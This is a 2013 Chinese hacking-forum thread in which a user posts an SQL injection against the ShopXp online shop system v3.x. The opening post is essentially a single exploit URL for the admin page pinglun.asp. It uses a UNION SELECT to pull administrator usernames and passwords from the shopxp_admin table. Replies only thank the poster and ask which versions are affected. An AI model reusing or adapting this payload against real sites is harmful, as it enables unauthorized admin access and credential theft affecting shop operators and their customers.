ShopXp网店系统 v3.x 越权+SQL注射

90_ · 发表于 2013-12-11 11:14:13

注射点

http://192.168.1.106/admin/pinglun.asp?id=71 UNION SELECT 1,2,admin,4,5,6,7,8,9,password,11 from shopxp_admin

复制代码

作者：zpino

蓝颜 · 发表于 2013-12-11 13:01:49

沙发。。。

空城 · 发表于 2013-12-11 14:14:23

好像是地板？谢谢90大牛分享

plucode · 发表于 2013-12-11 15:28:25

作者没有把具体的是哪个版本的列出来？哪个行业的版本？难道通杀？

蓝色_ · 发表于 2013-12-11 19:38:36

plucode 发表于 2013-12-11 15:28
作者没有把具体的是哪个版本的列出来？哪个行业的版本？难道通杀？

ShopXp网店系统 v3.x

love · 发表于 2013-12-11 22:27:49

用的较少。。

if-- · 发表于 2013-12-12 15:41:45

学习了。。。。。